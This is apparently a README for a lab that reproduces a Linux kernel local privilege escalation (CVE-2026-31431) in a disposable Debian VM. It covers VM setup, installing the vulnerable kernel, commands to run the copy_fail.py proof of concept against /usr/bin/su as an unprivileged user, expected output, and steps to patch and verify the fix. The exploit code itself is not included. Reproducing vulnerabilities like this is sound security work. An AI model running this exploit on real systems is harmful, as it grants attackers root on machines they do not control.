Local privilege escalation via crypto/algif_aead in-place page cache write.
An unprivileged local user can overwrite any SUID binary in the page cache
without triggering copy-on-write, then exec it to gain root.
| Requirement | Detail |
|---|---|
| macOS | 12.2 (Monterey) or later |
| CPU | Apple Silicon (M1+) or Intel with VT-x |
| RAM | 4 GB free (VM takes 2 GB) |
| Disk | 5 GB free |
| Lima | 0.21.0+ |
| lima-additional-guestagents | required for x86_64 guest on Apple Silicon |
| Python | 3.9+ (host, for any local tooling) |
The VM is x86_64 Debian 12 bookworm running under QEMU (vmType: qemu, arch: x86_64). On Apple Silicon, QEMU emulates x86_64 hardware; lima-additional-guestagents
provides the matching Lima guest agent binary.
# 1. Install Lima and the x86_64 guest agent support
brew install lima lima-additional-guestagents
# 2. Clone this repo
git clone https://github.com/yourorg/copy_fail ~/git/copy_fail
cd ~/git/copy_fail
# 3. Start the VM (--mount-none keeps host filesystem out of the guest)
limactl start --name=copyfail --mount-none --tty=false copy_fail.yml
# 4. Provision: install vulnerable kernel (6.1.162-1) and reboot
# --sync . makes the repo directory available inside the VM
limactl shell --sync . copyfail sudo bash provision.sh
# VM reboots automatically. Wait ~30 seconds.
# 5. Verify: confirm vulnerable kernel, run exploit, check page cache
limactl shell --sync . copyfail sudo bash verify.shExpected output from verify.sh:
[INFO] Running kernel: 6.1.0-43-cloud-amd64
[PASS] Vulnerable kernel confirmed: 6.1.0-43-cloud-amd64
[PASS] algif_aead is available (AF_ALG bind succeeded)
[INFO] Magic before: 7f454c46
[INFO] Running exploit as nobody...
[*] target : /usr/bin/su
[*] payload : 4096 bytes
...
[INFO] Magic after : <changed>
[PASS] Page cache overwritten! CVE-2026-31431 reproduced successfully.
[PASS] /usr/bin/su restored (ELF magic: 7f454c46)
limactl stop copyfail
limactl delete copyfail# Check Lima logs
limactl start --name=copyfail --mount-none copy_fail.yml 2>&1 | tail -40
# If you see "additional guest agents required":
brew install lima-additional-guestagentssocket_vmnet is not required — the VM uses QEMU's built-in user-mode networking.
Lima may not reconnect automatically after the VM reboots. Wait 60 seconds, then:
limactl shell copyfail uname -rIf it hangs, the VM may still be booting. Check:
limactl list
# STATUS should be "Running"limactl shell copyfail -- bash -c 'grep GRUB_DEFAULT /etc/default/grub'
# Should show the 6.1.0-43 entry.
# If not, re-run provision.sh (from the repo root):
limactl shell --sync . copyfail sudo bash provision.shThe base Debian 12 cloud image uses deb822 format with mirror-list
indirection. provision.sh rewrites /etc/apt/sources.list.d/debian.sources
to point directly at snapshot.debian.org. If apt still fails:
limactl shell copyfail sudo bash
cat /etc/apt/sources.list.d/debian.sources
# Should show snapshot.debian.org URLs, not mirror+file:// lines.
# Manual fix if needed:
apt-get update -o Acquire::Check-Valid-Until=falseThis is expected if:
- The VM booted into the patched kernel (
6.1.170-1or later). Checkuname -rand re-runprovision.sh. - The
subinary layout differs from what the shellcode targets. The PoC writes to page offset 0; if the ELF entry point is elsewhere the exec will segfault rather than spawn a shell. AdjustSTUB_ELFincopy_fail.pyfor your binary. algif_aeadis blocked by amodprobe.drule. Check:cat /etc/modprobe.d/*.conf | grep algif
# Inside the VM as an unprivileged user:
python3 /usr/local/bin/copy_fail.py --target /usr/bin/su
# As root (skips the interesting LPE path but still tests the mechanism):
sudo python3 /usr/local/bin/copy_fail.py --target /usr/bin/su# Inside the VM as root:
apt-get install -y linux-image-6.1.0-45-cloud-amd64 # patched version
update-grub
# Edit /etc/default/grub to set GRUB_DEFAULT to the 6.1.0-45 entry
reboot
# After reboot (from repo root on the host):
limactl shell --sync . copyfail sudo bash verify.sh
# Expect [FAIL] on the page cache check — ELF magic should remain 7f454c46| File | Purpose |
|---|---|
copy_fail.yml |
Lima VM definition |
provision.sh |
Installs vulnerable kernel, configures GRUB, reboots |
verify.sh |
Confirms kernel, runs exploit, checks result, restores su |
copy_fail.py |
Non-interactive PoC (runs as unprivileged user) |
| Resource | URL |
|---|---|
| CVE detail (NVD) | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
| copy.fail writeup | https://copy.fail |
| oss-security disclosure | https://www.openwall.com/lists/oss-security/2026/04/28/1 |
| Debian DSA-6243-1 | https://www.debian.org/security/2026/dsa-6243 |
| Vulnerable commit | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3 |
| Fix commit | https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=linux-6.1.y |
| Debian snapshot archive | https://snapshot.debian.org/archive/debian/ |
| Lima docs | https://lima-vm.io/docs/ |
| lima-additional-guestagents | https://github.com/lima-vm/lima-additional-guestagents |